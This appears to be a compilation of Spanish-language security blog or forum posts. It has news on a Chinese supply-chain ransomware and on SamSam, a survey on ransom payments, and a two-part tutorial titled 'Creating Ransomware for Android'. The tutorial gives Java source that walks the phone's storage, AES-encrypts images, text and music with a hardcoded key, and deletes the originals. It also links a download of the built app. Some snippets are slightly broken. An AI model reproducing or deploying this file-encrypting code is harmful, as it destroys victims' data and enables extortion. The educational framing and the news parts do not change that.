¡Nuevo Ransomware en China! ¿Creen que llegue a México??

¡Nuevo Ransomware en China! ¿Creen que llegue a México??

Parece ser que un nuevo ransomware se ha esparcido mucho por China, ya infectó 100,000 computadoras en los últimos días, y el número de usuarios infectados crece por hora.

Lo interesante de este ransomware es que no pide pagos por bitcoin, sino que el atacante pide un aproximado de 16 dólares mediante WeChat Pay, la forma de pago por app más popular en China.

No como otros, este ransomware sólo está atacando usuarios chinos, y al parecer incluye una habilidad de también robar las contraseñas de los usuarios para Alipay, NetEase 163, Baidu, Cloud Disk, JD.com, Taobao, Tmail, AliWangWang y las páginas QQ.

Según la ciber seguridad de China y Velvet Security, los atacantes incluyeron código malicioso en el “easylanguage”, un software de programación usado por grandes grupos de desarrolladores de aplicaciones, el software modificado fue diseñado para inyectar el código ransomware en todas las aplicaciones y software compilados a través de ella. Entonces si alguien hace una aplicación con su software, la gente que la descargue terminará siendo afectada. Nada tontos ?

Si no pagas dentro del tiempo, el malware amenaza con borrar la llave para descifrar de su servidor de control y comando remoto automáticamente

Además de encriptar todos los archivos, el ransomware también roba las credenciales de login de redes sociales y sitios populares chinos y los manda a un servidor remoto y por si fuera poco, además archiva datos del sistema que atacan, incluidos modelo del cpu, resolución de pantalla, información de redes y una lista de software instalado.

%user%\AppData\Roaming\unname_1989\dataFile\appCfg.cfg

Según la policía China no han atacado fuera del país, pero el ataque se ve como los de las series.

Hay un sospechoso y se llama Luo, si lo conocen tiren paro a los polis de por allá.

Creando un Ransomware para Android Parte 2

Creando un Ransomware para Android Parte 2

Como ya lo habia dicho antes, despues de que comprobamos los permisos esque podemos realizar las tareas, vamos a utilizar el codigo anterior donde verificamos los permisos y habilitamos un OnClickListener para cada boton que creamos, asi este al ser oprimido ejecutara lo que le digamos, quedaria algo asi:

Código: Java
  1.     //PIDE Y COMPRUEBA PERMISOS EN EJECUCION
  2.         if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
  3.                 && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
  4.             //Referencia botones y demas
  5.             final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
  6.             final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
  7.             final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);
  8.             Toast.makeText(this, “La app ya tiene permisos”, Toast.LENGTH_SHORT).show();
  9.             BotonDesencriptar.setOnClickListener(new View.OnClickListener() {
  10.                 [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
  11.                 public void onClick(View view) {
  12.                     try {
  13.                               //Lista de archivos encontrados en el sistema
  14.                         final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());
  15.                         for (int i = 0; i < Archivos.size(); i++) {
  16.                              //los mandamos a desenciptar 1 x 1, pasandole el nombre del archivo y su ubicacion, pero primero
  17.                              // revisamos si esta encriptado, (que en su nombre tenga la palabra “encript_”
  18.                              int comprobacion = Archivos.get(i).getName().indexOf(“encript_”);
  19.                             if (comprobacion != -1) {
  20.                                 desencriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
  21.                             }
  22.                             }
  23.                         }
  24.                               //Excepciones necesarias para la funcion de encriptar
  25.                     } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
  26.                         k.printStackTrace();
  27.                     }
  28.                 }
  29.             });
  30.             BotonEncriptar.setOnClickListener(new View.OnClickListener() {
  31.                 [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
  32.                 public void onClick(View view) {
  33.                     try {
  34.                         final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());
  35.                         for (int i = 0; i < Archivos.size(); i++) {
  36.      //los mandamos a encriptar 1 x 1, pasandole el nombre del archivo y su ubicacion
  37.                             encriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
  38.                     } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
  39.                         k.printStackTrace();
  40.                     }
  41.                 }
  42.             });
  43.         } else {
  44.             PedirPermisos();
  45.         }
  46.     }

Asi nos aseguramos a que sin los permisos necesarios nunca intentara encriptar los archivos y que nos genere errores, listo nuestro Ransomware ya esta casi terminado, solo tenemos que leer la clave que nos ingresen para desencriptar o encriptar, con el EditText se la pedimos al usuario y la leemos:

Código: Java
  1. //Referenciamos nuestro objetos en pantalla
  2.  final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
  3.             final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
  4.             final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);

y luego la leemos:

Código: Java
  1. String clave = EntradaClave.getText().toString();

esto va dentro de el OnClickListener de el boton encriptar para que al momento de que lo presionen la lea y haga sus respectivas tareas, Listo muchachos! asi se hace un Ransomware para android.

Ahora construyamos nuestra apk y vamos a instalarla en nuestro movil, aca unas fotos de su funcionamiento, voy a crear una carpeta llamada docs y dentro de ella guardare una archivo de texto, una cancion y una imagen:

Ahora ire a la aplicacion y le dare sobre el boton encriptar, veamos que pasa:

se han encriptado los archivos de mi memoria, al tratar de abrir la imagen no me deja:

Ahora volvere a la aplicacion y le dare en desenciptar:

Mis archivos vuelven a la normalidad, puedo ver mi imagen, fijensen en los nombres, quiere decir que paso por todos nuestros procesos.

Ahora podemos crear otra funcion que al terminar de encriptar los archivos no envie la clave y el id del celular a nuestro servidor para que quede ahi guardada, no quise meter eso en el tutorial ya que pienso que quizas lo utilizen para mal, de ese modo podrian pedir dinero para darles las clave y ………..
Pero por otra parte, porque no utilizamos esto de una buena forma? si encriptamos nuestros archivos con una clave que solo nosotros sepamos y los desencriptamos solo cuando los necesitemos? no puedo decir que tendrias 100% de privacidad pero si le dificultaria el trabajo a cualquier cracker que quiera robarle su información.

Cuidado con esto, no es algo para jugar y si van a hacer pruebas haganlo en ambientes controlados, mientras hacia esto me toco formatear mi celular ya que todos mis archivos quedaron encriptados, asi que cuidado, los archivos que lee son de la memoria interna del telefono, no se porque pasa esto pero solo me reconoce los de la memoria interna, tambien cuando le opriman sobre encriptar, desencriptar esperar unos segundos hasta que el celular este normal, si minimizamos la aplicacion o la cerramos de una podria generar errores.

Les dejare la aplicacion y el codigo, espero les halla gustado, yo aprendi bastante haciendolo espero ustedes tambien
El codigo y la app lista para que la prueben

https://mega.nz/#F!p6JACbII!IB2NEnk01qmL_Fva6-W-WA

No se preocupen si descargnn la app a su celular, no hara nada hasta que no opriman los botones encriptar y luego con el de desencriptar todo volvera a la normalidad.

El dolor es temporal, la satisfacción es eterna.
Creando un Ransomware para Android Parte 1

Creando un Ransomware para Android Parte 1

Quiero compartirles algo en lo que he estado trabajando, se hablo mucho de los famosos ransomware, del ciber ataque mundial que sufrieron muchas empresas y ademas entenderemos en este Post que es un Ransomware y como opera.

En este Post les enseñare como crear un simple ransomware utilizando el algotirmo de encriptacion AES de 256 bytes, nos permite cifrar archivos de texto, imagenes y musica.
Bueno y pues como me gusta todo este mundo quise hacerme el mio, pero no para hacer daño, quise hacerme el mio para demostrar de lo que podemos ser victimas o que tambien nos puede servir de ayuda.

Antes que nada quiero decirles que este Post va dirigido a personas con conocimientos basicos en java y Android.

Comenzamos, primero abrimos Android Studio y creamos un nuevo proyecto, creamos un EmptyActivity con su respectiva clase, algo asi debe quedar:

Primero organizare la parte visual, voy a crear un EditText y dos Botones, uno para encriptar y otro para desencriptar, algo asi quedaría:

Código: Java
  1. <TextView
  2.             android:id=”@+id/textView4″
  3.             android:layout_width=”match_parent”
  4.             android:layout_height=”wrap_content”
  5.             android:layout_gravity=”center_vertical|center_horizontal|center”
  6.             android:fontFamily=”monospace”
  7.             android:text=”Contraseña”
  8.             android:textSize=”18sp” />
  9.         <EditText
  10.             android:id=”@+id/clavesita”
  11.             android:layout_width=”match_parent”
  12.             android:layout_height=”wrap_content”
  13.             android:ems=”10″
  14.             android:inputType=”textPassword” />
  15.         <Button
  16.             android:id=”@+id/boton1″
  17.             android:layout_width=”match_parent”
  18.             android:layout_height=”wrap_content”
  19.             android:text=”Encriptar” />
  20.         <Button
  21.             android:id=”@+id/boton2″
  22.             android:layout_width=”match_parent”
  23.             android:layout_height=”wrap_content”
  24.             android:text=”Desencriptar” />

algo asi se veria:

Listo ya empezamos con lo interesante, ¡el codigo!
presten atencion a cada detalle que nombro, muchas ‘cositas’ me quitaron horas y horas, asi que cuidado

Primero hay que pedir permisos, ya que tengo un celular con Marshmallow, tengo que pedir los permisos tanto en el Manifest como en tiempo de ejecucion, nos vamos a la carpeta manifest, doble click al archivo AndroidManifest.xml y colocamos esto:

Código: Java
  1. <uses-permission android:name=”android.permission.READ_EXTERNAL_STORAGE” />
  2. <uses-permission android:name=”android.permission.WRITE_EXTERNAL_STORAGE”/>

ahora vamos a la clase que creamos junto con el EmptyActivity, la mia se llama MainActivity, pedire los permisos en ejecución:

Código: Java
  1. //Verificamos si ya tiene permisos
  2.   if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
  3.                 && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE)== PackageManager.PERMISSION_GRANTED){
  4.   Toast.makeText(this, “La app ya tiene permisos”, Toast.LENGTH_SHORT).show();
  5. //Ya tenemos los permisos necesarios
  6. //Podemos proceder a trabajar con la memoria de el celular
  7. } else{
  8. //Si no tenemos permisos, creare una funcion para pedirlos
  9. PedirPermisos();
  10. }

fuera del metodo OnCreate, definimos la función:

Código: Java
  1. public void PedirPermisos() {
  2.         if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.READ_EXTERNAL_STORAGE)) {
  3.             Toast.makeText(this, “Se necesitan permisos”, Toast.LENGTH_SHORT).show();
  4.         }
  5.         ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE},
  6.                 MY_PERMISSIONS_REQUEST);
  7.     }

Para saber la respuesta de el usuario vamos a crear nuestra propia version de la funcion onRequestPermissionsResult que es la que nos dice si el usuario nos dio los permisos o no

Código: Java
  1. @Override
  2.     public void onRequestPermissionsResult(int requestCode,
  3.                                            String permissions[], int[] grantResults) {
  4.         if (requestCode == MY_PERMISSIONS_REQUEST) {
  5.             // If request is cancelled, the result arrays are empty.
  6.             if (grantResults.length > 0
  7.                     && grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) {
  8.                 Toast.makeText(this, “La app ya tiene permisos”, Toast.LENGTH_SHORT).show();
  9.             } else {
  10.                 Toast.makeText(this, “SIN PERMISOS NO SE PUEDE EJECUTAR LA APP”, Toast.LENGTH_SHORT).show();
  11.             }
  12.             return;
  13.         }
  14.     }

Algo asi les debe estar quedando

Luego voy a crear mi funcion de encriptar(), la cual necesita una clave de parametro, es la clave con la que vamos a cifrar los archivos, tiene que ser una clave de 16 bytes de tamaño, obligatoriamente!, yo utilizare esta = tr3D0ctaOlajESzU y una direccion, esta es la ubicacion de el archivo

Código: Java
  1. public void encriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
  2.         //Archivo de entrada(sin encriptar)
  3.         File extStore = Environment.getExternalStorageDirectory();
  4.         FileInputStream Entrada = new FileInputStream(“/” + direccion);
  5.        //Archivo de salida(encriptado) su nombre cambia quedaria guardado algo asi = encript_foto.jpg
  6.         FileOutputStream Salida = new FileOutputStream(extStore + “/encript_” + nombre);
  7.         // Tamaño de la key 16 bytes!
  8.         SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), “AES”);
  9.    // Se crea el Cipher, el encargado de cifrar los streams
  10.         Cipher cipher = Cipher.getInstance(“AES”);
  11.         cipher.init(Cipher.ENCRYPT_MODE, sks);
  12.         // stream de salida, archivo de salida
  13.         CipherOutputStream cos = new CipherOutputStream(Salida, cipher);
  14.  // Escribe bytes
  15.         int b;
  16.         byte[] d = new byte[8];
  17.         while ((b = Entrada.read(d)) != -1) {
  18.             cos.write(d, 0, b);
  19.         }
  20.       //Cierra los stream
  21.         cos.flush();
  22.         cos.close();
  23.         Entrada.close();
  24.         //Borra el archivo original
  25.         File tmp = new File(“/” + direccion);
  26.         tmp.delete();
  27.     }

y nuestra funcion desencriptar() , no la comentare porque hace casi lo mismo que la anterior

Código: Java
  1. public static void desencriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
  2.         File extStore = Environment.getExternalStorageDirectory();
  3.         FileInputStream Entrada = new FileInputStream(“/” + direccion);
  4.         FileOutputStream Salida = new FileOutputStream(extStore + “/decrypt_” + nombre);
  5.         SecretKeySpec sks = new SecretKeySpec(clave.getBytes(),
  6.                 “AES”);
  7.         Cipher cipher = Cipher.getInstance(“AES”);
  8.         cipher.init(Cipher.DECRYPT_MODE, sks);
  9.         CipherInputStream cis = new CipherInputStream(Entrada, cipher);
  10.         int b;
  11.         byte[] d = new byte[8];
  12.         while ((b = cis.read(d)) != -1) {
  13.             Salida.write(d, 0, b);
  14.         }
  15.         Salida.flush();
  16.         Salida.close();
  17.         cis.close();
  18.         //Borra el archivo encriptado
  19.         File tmp = new File(“/” + direccion);
  20.         tmp.delete();
  21.     }

Listo ya tenemos nuestras funciones encargadas de cifrar los archivos, ahora necesitamos una funcion  para todas las carpetas del sistema buscando los archivos a encriptar, quedaria algo así:

Código: Java
  1. public static ArrayList<File> EncontrarArchivos(File root) {
  2.         ArrayList<File> Archivos = new ArrayList<File>();
  3.         File[] _archivos = root.listFiles();
  4.         if (_archivos != null) {
  5.             for (File lista : _archivos) {
  6.                 if (lista.isDirectory() && !lista.isHidden()) {
  7.                     Archivos.addAll(EncontrarArchivos(lista));
  8.                 } else {
  9.                      //Solo permitimos archivos que terminen en . txt .jpg .jpeg y .mp3
  10.                     if(lista.getName().endsWith(“.txt”)|| lista.getName().endsWith(“.jpg”)|| lista.getName().endsWith(“.jpeg”)||
  11.                   lista.getName().endsWith(“.png”) || lista.getName().endsWith(“.mp3”)) {
  12.                         if (lista.getTotalSpace() > 3) {
  13.                         //Si termina en lo que queremos y pesa mas de 3 kb lo agregamos a la lista
  14.                             Archivos.add(lista);
  15.                         }
  16.                     }
  17.                 }
  18.             }
  19.         }
  20.         return Archivos;
  21.     }

Bueno basicamente ya tenemos nuestras principales funciones ya listas, ahora programaremos que al hacer click sobre el boton encriptar, ejecute nuestra funcion encriptar con los archivos que encontro en el sistema el cual se vera en la parte 2.

¿Sabias que……? La mitad de los que pagan ransomware, NO recuperan sus archivos

¿Sabias que……? La mitad de los que pagan ransomware, NO recuperan sus archivos

El ransomware es, como sabemos, uno de los tipos de malware que más han aumentado en los últimos tiempos. Los ciberdelincuentes tienen como objetivo bloquear los datos y archivos de un usuario. A cambio piden un rescate económico para liberarlos y que la víctima pueda recuperarlos. Sin embargo aunque paguen, no se garantiza que puedan llegar a recuperar sus datos. Esto lo ha demostrado una reciente encuesta donde se indica que una gran parte de aquellos que pagaron por un rescate de ransomware, no llegaron nunca a volver a ver sus datos.

Esta encuesta ha sido llevada a cabo por la empresa de seguridad informática CyberEdge. Ha tenido en cuenta un gran número de afectados por el ransomware. En total la muestra ha sido de 1.200 personas, en 17 países diferentes. Todos ellos fueron víctimas de este tipo de malware durante el año pasado.

Ha demostrado que el pagar por un rescate, no garantiza que lleguemos a ver nuestros datos. Muchos usuarios, de manera desesperada, optan por esto ya que de lo contrario perderían archivos muy valiosos.

La encuesta ha reflejado que el 53,3% asegura que no llegaron a pagar ningún tipo de rescate, pero lograron recuperar sus datos. Un 8% no pagaron y no recuperaron sus datos.

Por otra parte están los que sí pagaron por el rescate. Representan en total un 38,7%. Sin embargo únicamente el 19,1% del total pagaron y recuperaron sus sistemas. Esto representa casi la mitad. Por otro lado un 19,6%, algo más de la mitad de los que sí pagaron, nunca llegaron a recuperar sus datos.

Esto demuestra la teoría de que, pese a pagar por un rescate, no se garantiza que podamos recuperar el control de nuestros archivos.

En general, el estudio encontró que más de un cuarto de las víctimas de ransomware (27.6%) perdieron sus datos para siempre, ya sea pagando o no pagando la demanda del rescate.

La mejor defensa frente al ransomware sigue siendo la misma: las copias de seguridad. Es muy importante, tanto usuarios particulares como empresas, realizar copias de seguridad de forma periódica. Más aún de aquellos datos que son importantes para nosotros.

De esta manera, ante un eventual ataque de este tipo, no tendríamos que temer tanto la pérdida de datos. Tendríamos siempre guardada una copia de seguridad que al menos amortiguaría un poco el problema.

Por tanto nuestra recomendación es realizar copias de seguridad. También se pueden recuperar los archivos a través de aplicaciones gratuitas con este fin.

Ransomware SamSam ataca organismos públicos y hospitales

Ransomware SamSam ataca organismos públicos y hospitales

Expertos en seguridad informan que un número importante de instituciones (sobre todo estadounidenses) se han visto afectadas por este ransomware, bautizando con el nombre SamSam y basado en SAMAS. De nuevo, los ciberdelincuentes centran sus esfuerzos en entidades públicas.

Algunos hospitales habrían pagado incluso el rescate solicitado por recuperar el acceso a los datos afectados, incluso disponiendo de una copia de seguridad que permitiría recuperar una cantidad importante de la información afectada.

Detalles de SamSam

Expertos en seguridad indican que el funcionamiento es más o menos similar al de otras amenazas. Lo primero que observan los usuarios es que, en el escritorio, aparece un archivo con el nombre 0000-SORRY-FOR-FILES.html. Si se abre utilizando un navegador web, se puede ver como son las instrucciones que hay que seguir para llevar a cabo el descifrado de la información. Analisis en VirusTotal.

Aquí es donde empieza lo que podríamos considerar “nuevo”. Para acceder a todo el proceso para realizar el pago y obtener el código de desbloqueo, el usuario debe instalar Tor Browser. La cantidad a abonar es de 0,7 Bitcoin para 1 PC afectado o 3 si se quieres para todos los PCs afectados.

Ni que decir tiene que todos los equipos afectados son Windows, familia de sistemas operativos para los que ha sido programada esta amenaza.

26 BTC = 300.000 dólares ganados

Teniendo en cuenta que la campaña solo lleva en funcionamiento dos semanas y que por el momento solo hay 3 entidades afectadas, podría decirse que es una cantidad a tener en cuenta. Los expertos en seguridad indican que a esta campaña le podrían quedar aún 3 semanas. Obviamente, una vez finalizada esa, si ha sido exitosa comenzarán una nueva y ampliando los horizontes.

Aunque se piense que de nuevo los mensajes de correo electrónicos son los protagonistas, hay que decir que esto no es así. Podría decirse que el trabajo es mucho más artesanal. Utilizan conexiones RDP no seguras o con contraseñas disponibles en diccionarios de Internet hacer uso del servicio y copiar el malware sin que el usuario se percate de lo que sucede. Cuando el usuario trata de hacer algo, los archivos ya están cifrados.

Antes estos casos, las únicas dos vías de salida son la restauración del equipo a un estado anterior o bien recurrir a copias de seguridad y llevar a cabo el formateo completo del equipo. Tal vez la segunda vía sea la más recomendada.

Una vez más, queda demostrado que la seguridad existente en equipos pertenecientes a instituciones y entidades públicas deja mucho que desear, siendo el blanco más fácil para los ciberdelincuentes, incluso más que los usuarios particulares.

Fuente:Bleeping Computer